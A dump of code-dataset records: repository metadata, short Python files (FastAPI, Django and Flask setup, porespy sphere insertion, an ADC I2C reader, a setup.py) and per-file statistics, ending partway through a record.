26b7a9a0a8dd7c76a3e9255a5f1cadd62d4d71c2
248
py
Python
rse.py
IciarCivantosGomez/Simplex-1
c6b37132062972414716831377a972e2c4b6f8d5
[ "MIT" ]
null
null
null
rse.py
IciarCivantosGomez/Simplex-1
c6b37132062972414716831377a972e2c4b6f8d5
[ "MIT" ]
null
null
null
rse.py
IciarCivantosGomez/Simplex-1
c6b37132062972414716831377a972e2c4b6f8d5
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Wed May 6 09:28:40 2020 @author: yo Función auxiliar para calcular el RSE """ import numpy as np def calc_rse(valores,prediccion): return(sum(valores-prediccion)**2/sum((valores-np.mean(valores))**2))
19.076923
73
0.685484
40
248
4.225
0.8
0.201183
0
0
0
0
0
0
0
0
0
0.066351
0.149194
248
13
73
19.076923
0.734597
0.443548
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0.333333
0.333333
0.666667
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
1
1
0
0
5
26baed1a5048a2e6883e1c2903f4fb8c3cec97a9
108
py
Python
bot/src/plugins/monitor/controller/index.py
Shimada666/BadGo
162532f0578bc30c141c1f12c5da4103ff5aceda
[ "MIT" ]
null
null
null
bot/src/plugins/monitor/controller/index.py
Shimada666/BadGo
162532f0578bc30c141c1f12c5da4103ff5aceda
[ "MIT" ]
null
null
null
bot/src/plugins/monitor/controller/index.py
Shimada666/BadGo
162532f0578bc30c141c1f12c5da4103ff5aceda
[ "MIT" ]
1
2021-11-17T16:28:24.000Z
2021-11-17T16:28:24.000Z
from fastapi import APIRouter router = APIRouter() @router.get('/') def index(): return 'hello ergo'
12
29
0.675926
13
108
5.615385
0.846154
0.410959
0
0
0
0
0
0
0
0
0
0
0.185185
108
8
30
13.5
0.829545
0
0
0
0
0
0.101852
0
0
0
0
0
0
1
0.2
false
0
0.2
0.2
0.6
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
5
26d1fbdf2e1cd581668cb7b10205692b2a15a87b
18
py
Python
.virtual_documents/tools/notebook/examples/Untitled.ipynb.py
cdmitri/healthcare-data-harmonization
087cdb4928c3a97444b4b59283663049e121125f
[ "Apache-2.0" ]
null
null
null
.virtual_documents/tools/notebook/examples/Untitled.ipynb.py
cdmitri/healthcare-data-harmonization
087cdb4928c3a97444b4b59283663049e121125f
[ "Apache-2.0" ]
null
null
null
.virtual_documents/tools/notebook/examples/Untitled.ipynb.py
cdmitri/healthcare-data-harmonization
087cdb4928c3a97444b4b59283663049e121125f
[ "Apache-2.0" ]
null
null
null
a = 10 print(a)
3.6
8
0.5
4
18
2.25
0.75
0
0
0
0
0
0
0
0
0
0
0.166667
0.333333
18
4
9
4.5
0.583333
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0.5
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
5
f8338e3c258ea28d0f52201a7ed774153b1dc28a
132
py
Python
overwrite_mrp/models/__init__.py
xpheragroup/FJAgosto21
aad1ba8104a6ea1dfcc39fc250897465872ea930
[ "MIT" ]
1
2022-01-21T16:23:20.000Z
2022-01-21T16:23:20.000Z
overwrite_mrp/models/__init__.py
xpheragroup/FJAgosto21
aad1ba8104a6ea1dfcc39fc250897465872ea930
[ "MIT" ]
null
null
null
overwrite_mrp/models/__init__.py
xpheragroup/FJAgosto21
aad1ba8104a6ea1dfcc39fc250897465872ea930
[ "MIT" ]
1
2022-03-02T21:41:46.000Z
2022-03-02T21:41:46.000Z
# -*- coding: utf-8 -*- from . import mrp_bom, mrp_bom_line, food_time, food_group, mrp_production, stock_move, material_list_group
44
107
0.765152
21
132
4.380952
0.761905
0.130435
0
0
0
0
0
0
0
0
0
0.008547
0.113636
132
3
107
44
0.777778
0.159091
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
f864dbcbca5b601a469e100651a01363aa70c855
658
py
Python
light_head_rcnn/links/model/__init__.py
knorth55/chainer-light-head-rcnn
4408311384d5abe550cd6ad004fa190aaced2c95
[ "MIT" ]
17
2018-07-13T12:37:29.000Z
2019-03-25T10:10:23.000Z
light_head_rcnn/links/model/__init__.py
knorth55/chainer-light-head-rcnn
4408311384d5abe550cd6ad004fa190aaced2c95
[ "MIT" ]
9
2018-07-19T09:59:00.000Z
2020-07-01T01:14:17.000Z
light_head_rcnn/links/model/__init__.py
knorth55/chainer-light-head-rcnn
4408311384d5abe550cd6ad004fa190aaced2c95
[ "MIT" ]
1
2019-09-06T07:11:01.000Z
2019-09-06T07:11:01.000Z
from light_head_rcnn.links.model.global_context_module import GlobalContextModule # NOQA from light_head_rcnn.links.model.light_head_rcnn_base import LightHeadRCNN # NOQA from light_head_rcnn.links.model.light_head_rcnn_resnet101 import LightHeadRCNNResNet101 # NOQA from light_head_rcnn.links.model.light_head_rcnn_resnet101 import LightHeadRCNNResNet101Head # NOQA from light_head_rcnn.links.model.light_head_rcnn_resnet101 import ResNet101Extractor # NOQA from light_head_rcnn.links.model.light_head_rcnn_train_chain import LightHeadRCNNTrainChain # NOQA from light_head_rcnn.links.model.region_proposal_network import RegionProposalNetwork # NOQA
82.25
100
0.882979
90
658
6.077778
0.277778
0.197441
0.285192
0.21755
0.590494
0.590494
0.541133
0.484461
0.484461
0.484461
0
0.029557
0.074468
658
7
101
94
0.868637
0.051672
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
f8740a0649418c4945833accc285ac32ec0bdaec
84
py
Python
backend/backend/cars/admin.py
epm0dev/django-vue-postgres-celery-redis
82884645626acbd7f106ac8ee31f14d7a8fefbee
[ "MIT" ]
2
2020-12-29T05:33:27.000Z
2022-01-17T21:34:18.000Z
backend/backend/cars/admin.py
epm0dev/django-vue-postgres-celery-redis
82884645626acbd7f106ac8ee31f14d7a8fefbee
[ "MIT" ]
14
2020-06-05T20:40:15.000Z
2022-03-12T00:13:31.000Z
backend/backend/cars/admin.py
epm0dev/django-vue-postgres-celery-redis
82884645626acbd7f106ac8ee31f14d7a8fefbee
[ "MIT" ]
1
2020-02-18T14:38:14.000Z
2020-02-18T14:38:14.000Z
from django.contrib import admin from .models import Car admin.site.register(Car)
14
32
0.797619
13
84
5.153846
0.692308
0
0
0
0
0
0
0
0
0
0
0
0.130952
84
5
33
16.8
0.917808
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
f89cf1ee30e621e5c68709b5dab5d29ea59e26c4
122
py
Python
src/movies/admin.py
Rezwanul-Haque/NotIMDB-Project
8ddbf513b0a5b6808ecb027b1a626d175ecf7ca4
[ "MIT" ]
null
null
null
src/movies/admin.py
Rezwanul-Haque/NotIMDB-Project
8ddbf513b0a5b6808ecb027b1a626d175ecf7ca4
[ "MIT" ]
null
null
null
src/movies/admin.py
Rezwanul-Haque/NotIMDB-Project
8ddbf513b0a5b6808ecb027b1a626d175ecf7ca4
[ "MIT" ]
null
null
null
from django.contrib import admin from movies.models import Movie # Register your models here. admin.site.register(Movie)
20.333333
32
0.811475
18
122
5.5
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.122951
122
6
33
20.333333
0.925234
0.213115
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
3e093730da706355a66f20685a081d84e54f225b
61
py
Python
paymentpoller/__main__.py
tahv0/etherneumpaymentbot
1485f6b069f698f5d29045414a4ebd4b2a924935
[ "BSD-2-Clause" ]
2
2018-01-17T06:35:52.000Z
2019-12-16T16:02:08.000Z
paymentpoller/__main__.py
tahv0/etherneumpaymentbot
1485f6b069f698f5d29045414a4ebd4b2a924935
[ "BSD-2-Clause" ]
null
null
null
paymentpoller/__main__.py
tahv0/etherneumpaymentbot
1485f6b069f698f5d29045414a4ebd4b2a924935
[ "BSD-2-Clause" ]
3
2019-01-04T17:55:17.000Z
2021-07-16T22:58:42.000Z
from .blockchainpoller import start_polling start_polling()
15.25
43
0.852459
7
61
7.142857
0.714286
0.48
0
0
0
0
0
0
0
0
0
0
0.098361
61
3
44
20.333333
0.909091
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
3e51a4a5ef98409157689a039c14c6d0bfd1bf25
7,972
py
Python
porespy/tools/_sphere_insertions.py
xu-kai-xu/porespy
9df231bfd4010e3a13efc66585474e148cd08d6c
[ "MIT" ]
null
null
null
porespy/tools/_sphere_insertions.py
xu-kai-xu/porespy
9df231bfd4010e3a13efc66585474e148cd08d6c
[ "MIT" ]
null
null
null
porespy/tools/_sphere_insertions.py
xu-kai-xu/porespy
9df231bfd4010e3a13efc66585474e148cd08d6c
[ "MIT" ]
null
null
null
import numpy as np import numba __all__ = [ '_make_disk', '_make_disks', '_make_ball', '_make_balls', '_insert_disk_at_points', '_insert_disks_at_points', ] @numba.jit(nopython=True, parallel=False) def _make_disks(r, smooth=True): # pragma: no cover r""" Returns a list of disks from size 0 to ``r`` Parameters ---------- r : int The size of the largest disk to generate smooth : bool Indicates whether the disks should include the nibs (``False``) on the surface or not (``True``). The default is ``True``. Returns ------- disks : list of ND-arrays A list containing the disk images, with the disk of radius R at index R of the list, meaning it can be accessed as ``disks[R]``. """ disks = [] for val in range(0, r): disk = _make_disk(val, smooth) disks.append(disk) return disks @numba.jit(nopython=True, parallel=False) def _make_balls(r, smooth=True): # pragma: no cover r""" Returns a list of balls from size 0 to ``r`` Parameters ---------- r : int The size of the largest ball to generate smooth : bool Indicates whether the balls should include the nibs (``False``) on the surface or not (``True``). The default is ``True``. Returns ------- balls : list of ND-arrays A list containing the ball images, with the ball of radius R at index R of the list, meaning it can be accessed as ``balls[R]``. """ balls = [] for val in range(0, r): ball = _make_ball(val, smooth) balls.append(ball) return balls @numba.jit(nopython=True, parallel=False) def _insert_disk_at_points(im, coords, r, v, smooth=True, overwrite=False): # pragma: no cover r""" Insert spheres (or disks) into the given ND-image at given locations This function uses numba to accelerate the process, and does not overwrite any existing values (i.e. only writes to locations containing zeros). Parameters ---------- im : ND-array The image into which the spheres/disks should be inserted. This is an 'in-place' operation. coords : ND-array The center point of each sphere/disk in an array of shape ``ndim by npts`` r : int The radius of all the spheres/disks to add. It is assumed that they are all the same radius. v : scalar The value to insert smooth : boolean If ``True`` (default) then the spheres/disks will not have the litte nibs on the surfaces. """ npts = len(coords[0]) if im.ndim == 2: xlim, ylim = im.shape s = _make_disk(r, smooth) for i in range(npts): pt = coords[:, i] for a, x in enumerate(range(pt[0]-r, pt[0]+r+1)): if (x >= 0) and (x < xlim): for b, y in enumerate(range(pt[1]-r, pt[1]+r+1)): if (y >= 0) and (y < ylim): if s[a, b] == 1: if overwrite or (im[x, y] == 0): im[x, y] = v elif im.ndim == 3: xlim, ylim, zlim = im.shape s = _make_ball(r, smooth) for i in range(npts): pt = coords[:, i] for a, x in enumerate(range(pt[0]-r, pt[0]+r+1)): if (x >= 0) and (x < xlim): for b, y in enumerate(range(pt[1]-r, pt[1]+r+1)): if (y >= 0) and (y < ylim): for c, z in enumerate(range(pt[2]-r, pt[2]+r+1)): if (z >= 0) and (z < zlim): if (s[a, b, c] == 1): if overwrite or (im[x, y, z] == 0): im[x, y, z] = v return im @numba.jit(nopython=True, parallel=False) def _insert_disks_at_points(im, coords, radii, v, smooth=True, overwrite=False): # pragma: no cover r""" Insert spheres (or disks) of specified radii into an ND-image at given locations. This function uses numba to accelerate the process, and does not overwrite any existing values (i.e. only writes to locations containing zeros). Parameters ---------- im : ND-array The image into which the spheres/disks should be inserted. This is an 'in-place' operation. coords : ND-array The center point of each sphere/disk in an array of shape ``ndim by npts`` radii : array_like The radii of the spheres/disks to add. v : scalar The value to insert smooth : boolean, optional If ``True`` (default) then the spheres/disks will not have the litte nibs on the surfaces. overwrite : boolean, optional If ``True`` then the inserted spheres overwrite existing values. The default is ``False``. """ npts = len(coords[0]) if im.ndim == 2: xlim, ylim = im.shape for i in range(npts): r = radii[i] s = _make_disk(r, smooth) pt = coords[:, i] for a, x in enumerate(range(pt[0]-r, pt[0]+r+1)): if (x >= 0) and (x < xlim): for b, y in enumerate(range(pt[1]-r, pt[1]+r+1)): if (y >= 0) and (y < ylim): if s[a, b] == 1: if overwrite or (im[x, y] == 0): im[x, y] = v elif im.ndim == 3: xlim, ylim, zlim = im.shape for i in range(npts): r = radii[i] s = _make_ball(r, smooth) pt = coords[:, i] for a, x in enumerate(range(pt[0]-r, pt[0]+r+1)): if (x >= 0) and (x < xlim): for b, y in enumerate(range(pt[1]-r, pt[1]+r+1)): if (y >= 0) and (y < ylim): for c, z in enumerate(range(pt[2]-r, pt[2]+r+1)): if (z >= 0) and (z < zlim): if s[a, b, c] == 1: if overwrite or (im[x, y, z] == 0): im[x, y, z] = v return im @numba.jit(nopython=True, parallel=False) def _make_disk(r, smooth=True): # pragma: no cover r""" Generate a circular structuring element of the given radius Parameters ---------- r : int The radius of the desired disk smooth : boolean If ``True`` (default) then the disk will not have the litte nibs on the surfaces. Returns ------- disk : ndarray A numpy array of 1 and 0 suitable for use as a structuring element """ s = np.zeros((2*r+1, 2*r+1), dtype=type(r)) if smooth: thresh = r - 0.001 else: thresh = r for i in range(2*r+1): for j in range(2*r+1): if ((i - r)**2 + (j - r)**2)**0.5 <= thresh: s[i, j] = 1 return s @numba.jit(nopython=True, parallel=False) def _make_ball(r, smooth=True): # pragma: no cover r""" Generate a spherical structuring element of the given radius Parameters ---------- r : int The radius of the desired ball smooth : boolean If ``True`` (default) then the ball will not have the litte nibs on the surfaces. Returns ------- ball : ndarray A numpy array of 1 and 0 suitable for use as a structuring element """ s = np.zeros((2*r+1, 2*r+1, 2*r+1), dtype=type(r)) if smooth: thresh = r - 0.001 else: thresh = r for i in range(2*r+1): for j in range(2*r+1): for k in range(2*r+1): if ((i - r)**2 + (j - r)**2 + (k - r)**2)**0.5 <= thresh: s[i, j, k] = 1 return s
32.275304
85
0.506523
1,144
7,972
3.486888
0.137238
0.010028
0.012033
0.045124
0.844573
0.824267
0.815994
0.779895
0.696666
0.679619
0
0.020196
0.372679
7,972
246
86
32.406504
0.777445
0.40153
0
0.655462
0
0
0.020088
0.01039
0
0
0
0
0
1
0.05042
false
0
0.016807
0
0.117647
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
3e70958bf37792064151a7d8f51829d0c10177bf
20
py
Python
checkov/version.py
chazzrobbz/checkov
ca945387df5e4f20f67b067889b38e6d4c7b578f
[ "Apache-2.0" ]
1
2022-01-24T15:40:28.000Z
2022-01-24T15:40:28.000Z
checkov/version.py
chazzrobbz/checkov
ca945387df5e4f20f67b067889b38e6d4c7b578f
[ "Apache-2.0" ]
null
null
null
checkov/version.py
chazzrobbz/checkov
ca945387df5e4f20f67b067889b38e6d4c7b578f
[ "Apache-2.0" ]
null
null
null
version = '2.0.734'
10
19
0.6
4
20
3
1
0
0
0
0
0
0
0
0
0
0
0.294118
0.15
20
1
20
20
0.411765
0
0
0
0
0
0.35
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
3e8c35029ba084b7ac9ae204552932dcb28a3e72
27
py
Python
odoo-13.0/venv/lib/python3.8/site-packages/ImageWin.py
VaibhavBhujade/Blockchain-ERP-interoperability
b5190a037fb6615386f7cbad024d51b0abd4ba03
[ "MIT" ]
3
2015-11-20T08:44:42.000Z
2016-12-14T01:40:03.000Z
odoo-13.0/venv/lib/python3.8/site-packages/ImageWin.py
VaibhavBhujade/Blockchain-ERP-interoperability
b5190a037fb6615386f7cbad024d51b0abd4ba03
[ "MIT" ]
1
2017-09-04T14:04:32.000Z
2020-05-26T19:04:00.000Z
odoo-13.0/venv/lib/python3.8/site-packages/ImageWin.py
VaibhavBhujade/Blockchain-ERP-interoperability
b5190a037fb6615386f7cbad024d51b0abd4ba03
[ "MIT" ]
null
null
null
from PIL.ImageWin import *
13.5
26
0.777778
4
27
5.25
1
0
0
0
0
0
0
0
0
0
0
0
0.148148
27
1
27
27
0.913043
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
e44cea203bef9ee91a9617109fed69dfb9e57bf9
878
py
Python
setup.py
samirelanduk/fuzz
c2b75009686ca9775d8bfaa4e489e7e1db5ac22b
[ "MIT" ]
1
2020-04-21T21:38:04.000Z
2020-04-21T21:38:04.000Z
setup.py
samirelanduk/fuzz
c2b75009686ca9775d8bfaa4e489e7e1db5ac22b
[ "MIT" ]
null
null
null
setup.py
samirelanduk/fuzz
c2b75009686ca9775d8bfaa4e489e7e1db5ac22b
[ "MIT" ]
null
null
null
from setuptools import setup setup( name="fuzz", version="0.1.1", description="Contains tools for modelling values with associated uncertainty.", url="https://fuzz.samireland.com", author="Sam Ireland", author_email="mail@samireland.com", license="MIT", classifiers=[ "Development Status :: 4 - Beta", "Intended Audience :: Science/Research", "License :: OSI Approved :: MIT License", "Topic :: Scientific/Engineering :: Chemistry", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.0", "Programming Language :: Python :: 3.1", "Programming Language :: Python :: 3.2", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", ], keywords="statistics measurements unertainty propagation", packages=["fuzz"], )
31.357143
80
0.683371
99
878
6.050505
0.575758
0.253756
0.33389
0.347245
0.09015
0
0
0
0
0
0
0.025538
0.15262
878
27
81
32.518519
0.77957
0
0
0
0
0
0.712984
0.025057
0
0
0
0
0
1
0
true
0
0.038462
0
0.038462
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
e45faf4588158942b3ae1610f9bccc4dbca69169
57
py
Python
vizard/__init__.py
Ritvik19/Vizard
77a96f789cd2eaaa7faf22be6d7e1be7349b00e2
[ "MIT" ]
5
2021-02-21T06:20:06.000Z
2021-11-18T12:00:42.000Z
vizard/__init__.py
Ritvik19/Vizard
77a96f789cd2eaaa7faf22be6d7e1be7349b00e2
[ "MIT" ]
null
null
null
vizard/__init__.py
Ritvik19/Vizard
77a96f789cd2eaaa7faf22be6d7e1be7349b00e2
[ "MIT" ]
2
2021-02-23T18:22:05.000Z
2021-11-18T12:00:58.000Z
from .Vizard import Vizard from .VizardIn import VizardIn
28.5
30
0.842105
8
57
6
0.5
0
0
0
0
0
0
0
0
0
0
0
0.122807
57
2
30
28.5
0.96
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
9025ffaee76d2b42f8f81a353cd17f8db189f522
90
py
Python
src/abb_communication/clients_withRN/rfl_robot/__init__.py
createchaos/abb_communication
e4f5eae90f9423d8a20be9f6e0738467d1a5f5aa
[ "MIT" ]
3
2020-02-07T20:16:16.000Z
2020-12-18T01:14:51.000Z
src/abb_communication/clients_withRN/rfl_robot/__init__.py
createchaos/abb_communication
e4f5eae90f9423d8a20be9f6e0738467d1a5f5aa
[ "MIT" ]
21
2021-01-14T14:55:03.000Z
2021-01-28T00:44:15.000Z
src/abb_communication/clients_withRN/rfl_robot/__init__.py
createchaos/abb_communication
e4f5eae90f9423d8a20be9f6e0738467d1a5f5aa
[ "MIT" ]
1
2021-04-01T15:59:21.000Z
2021-04-01T15:59:21.000Z
from robot import Robot from robot4x import Robot4x from tool import Tool, MeshMouldTool
30
36
0.833333
13
90
5.769231
0.461538
0
0
0
0
0
0
0
0
0
0
0.026316
0.155556
90
3
36
30
0.960526
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
904314ae2b21beebede47c48c5d3ed4f8142c260
116
py
Python
redcache/__init__.py
tomekwojcik/redcache
3d353dd9e4a988ede9edc0e1222d4d3e816af05a
[ "BSD-2-Clause-FreeBSD" ]
3
2015-10-17T16:41:42.000Z
2017-03-26T22:00:34.000Z
redcache/__init__.py
tomekwojcik/redcache
3d353dd9e4a988ede9edc0e1222d4d3e816af05a
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
redcache/__init__.py
tomekwojcik/redcache
3d353dd9e4a988ede9edc0e1222d4d3e816af05a
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
from cache_manager import CacheManager, default_cache from connection import get_current_connection, use_connection
38.666667
61
0.896552
15
116
6.6
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.086207
116
2
62
58
0.933962
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
5f64fe59f409867a00f333d2b4974e051e4a2abb
2,978
py
Python
tests/readr.py
vlrusu/ads112c04
b09c555bd23d7815ef2164397278e7aacd0f8591
[ "MIT" ]
null
null
null
tests/readr.py
vlrusu/ads112c04
b09c555bd23d7815ef2164397278e7aacd0f8591
[ "MIT" ]
null
null
null
tests/readr.py
vlrusu/ads112c04
b09c555bd23d7815ef2164397278e7aacd0f8591
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import time import os, sys sys.path.append(os.path.dirname(os.path.dirname(os.path.realpath(__file__)))) import smbus from smbus import SMBus from ads112c04 import ads112c04 I2C_sleep_time = 0.2 # seconds to sleep between each channel reading bus0 = SMBus(0) bus1 = SMBus(1) addresses = [0x40,0x41,0x43,0x44,0x45,0x46,0x47,0x49,0x4a,0x4c,0x4d,0x4f] #addresses = [0x40,0x41] idaccurrent = 1e-3 idacsetting = 0x6 adcs=[] #first measure 1k directly for i in range(len(addresses)): adc0 = ads112c04.ads112c04(bus0,addresses[i]) adc0._reset() #write register 0, AINP=AIN1, AINN=AVSS, PGA disabled and gain to 1 adc0._setmux(0x9) #write register 2, set IDAC current to 100uA adc0._setIDAC(idacsetting) #write register 3, route IDAC2 to AIN1 adc0._setIDAC2mux(0x2) adcs.append(adc0) for i in range(len(addresses)): adc0 = ads112c04.ads112c04(bus1,addresses[i]) adc0._reset() #write register 0, AINP=AIN1, AINN=AVSS, PGA disabled and gain to 1 adc0._setmux(0x9) #write register 2, set IDAC current to 100uA adc0._setIDAC(idacsetting) #write register 3, route IDAC2 to AIN1 adc0._setIDAC2mux(0x2) adcs.append(adc0) r1ks=[] for i in range(len(adcs)): #send a start/SYNC adcs[i]._startconversion() time.sleep(I2C_sleep_time) # print (i,hex(adcs[i]._readreg(0))) # print (i,hex(adcs[i]._readreg(2))) data=adcs[i]._readdata() r=data/idaccurrent r1ks.append(r) # print (i,data) #now measure directly on AIN0 for i in range(len(adcs)): adc0 = adcs[i] adc0._reset() #write register 0, AINP=AIN0, AINN=AVSS, PGA disabled and gain to 1 adc0._setmux(0x8) #write register 2, set IDAC current to 100uA adc0._setIDAC(idacsetting) #write register 3, route IDAC2 to AIN0 adc0._setIDAC2mux(0x1) rg1=[] for i in range(len(adcs)): #send a start/SYNC adcs[i]._startconversion() time.sleep(I2C_sleep_time) # print (i,hex(adcs[i]._readreg(0))) # print (i,hex(adcs[i]._readreg(2))) data=adcs[i]._readdata() r=data/idaccurrent rg1.append(r) # print (i,data) #now measure directly on AIN3 for i in range(len(adcs)): adc0 = adcs[i] adc0._reset() #write register 0, AINP=AIN0, AINN=AVSS, PGA disabled and gain to 1 adc0._setmux(0xb) #write register 2, set IDAC current to 100uA adc0._setIDAC(idacsetting) #write register 3, route IDAC2 to AIN0 adc0._setIDAC2mux(0x4) rg2=[] for i in range(len(adcs)): #send a start/SYNC adcs[i]._startconversion() time.sleep(I2C_sleep_time) # print (i,hex(adcs[i]._readreg(0))) # print (i,hex(adcs[i]._readreg(2))) data=adcs[i]._readdata() r=data/idaccurrent rg2.append(r) # print (i,data) count = 0 for i in range(len(adcs)): r = rg1[i] - r1ks[i] print(count,rg1[i],r1ks[i],r) count=count+1 r = rg2[i] - r1ks[i] print(count,rg2[i],r1ks[i],r) count=count+1
21.271429
77
0.665212
466
2,978
4.165236
0.22103
0.036064
0.02473
0.045337
0.799073
0.757342
0.748068
0.729521
0.729521
0.645028
0
0.080706
0.201142
2,978
139
78
21.42446
0.735183
0.366017
0
0.558824
0
0
0
0
0
0
0.040366
0
0
1
0
false
0
0.073529
0
0.073529
0.029412
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
5f66bc67d11e43f6c34feee55a947f3fad067a2d
113
py
Python
dizoo/gfootball/model/bots/__init__.py
sailxjx/DI-engine
c6763f8e2ba885a2a02f611195a1b5f8b50bff00
[ "Apache-2.0" ]
464
2021-07-08T07:26:33.000Z
2022-03-31T12:35:16.000Z
dizoo/gfootball/model/bots/__init__.py
sailxjx/DI-engine
c6763f8e2ba885a2a02f611195a1b5f8b50bff00
[ "Apache-2.0" ]
177
2021-07-09T08:22:55.000Z
2022-03-31T07:35:22.000Z
dizoo/gfootball/model/bots/__init__.py
sailxjx/DI-engine
c6763f8e2ba885a2a02f611195a1b5f8b50bff00
[ "Apache-2.0" ]
92
2021-07-08T12:16:37.000Z
2022-03-31T09:24:41.000Z
from .kaggle_5th_place_model import FootballKaggle5thPlaceModel from .rule_based_bot import FootballRuleBaseModel
56.5
63
0.920354
13
113
7.615385
0.846154
0
0
0
0
0
0
0
0
0
0
0.018868
0.061947
113
2
64
56.5
0.915094
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
5f9cc0426cf4922e3220edf0a4c25a99103cc025
46
py
Python
devinstaller_core/__init__.py
devinstaller/devinstaller
8d360dee5bcec36287d75616a95214f74a55a52d
[ "MIT" ]
null
null
null
devinstaller_core/__init__.py
devinstaller/devinstaller
8d360dee5bcec36287d75616a95214f74a55a52d
[ "MIT" ]
null
null
null
devinstaller_core/__init__.py
devinstaller/devinstaller
8d360dee5bcec36287d75616a95214f74a55a52d
[ "MIT" ]
null
null
null
from rich.traceback import install install()
11.5
34
0.804348
6
46
6.166667
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.130435
46
3
35
15.333333
0.925
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
5fc5073d7bac220f9dc7cccd0af8eb0b2303952a
279
py
Python
web_app/modules/location/__init__.py
ai404/esafe-platform
2e29ab2d3deb81fd999b74a2f6844c54a836c6d8
[ "MIT" ]
null
null
null
web_app/modules/location/__init__.py
ai404/esafe-platform
2e29ab2d3deb81fd999b74a2f6844c54a836c6d8
[ "MIT" ]
null
null
null
web_app/modules/location/__init__.py
ai404/esafe-platform
2e29ab2d3deb81fd999b74a2f6844c54a836c6d8
[ "MIT" ]
null
null
null
from flask import Blueprint bp_location = Blueprint('location', __name__, template_folder="templates", url_prefix='/location') from .views.location import * bp_entity = Blueprint('entity', __name__, template_folder="templates", url_prefix='/entity') from .views.entity import *
39.857143
98
0.781362
34
279
6
0.411765
0.117647
0.176471
0.264706
0.352941
0.352941
0
0
0
0
0
0
0.089606
279
7
99
39.857143
0.80315
0
0
0
0
0
0.171429
0
0
0
0
0
0
1
0
false
0
0.6
0
0.6
0.6
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
1
0
5
5fd4d8e038676dde6e6e4ff48068b616dfa876ed
158
py
Python
classes/statistic/apistatistic.py
Kur0N3k0/webdock
b7b74c778b0aa20eec63d5cbf1bcac77b2fc1d78
[ "MIT" ]
null
null
null
classes/statistic/apistatistic.py
Kur0N3k0/webdock
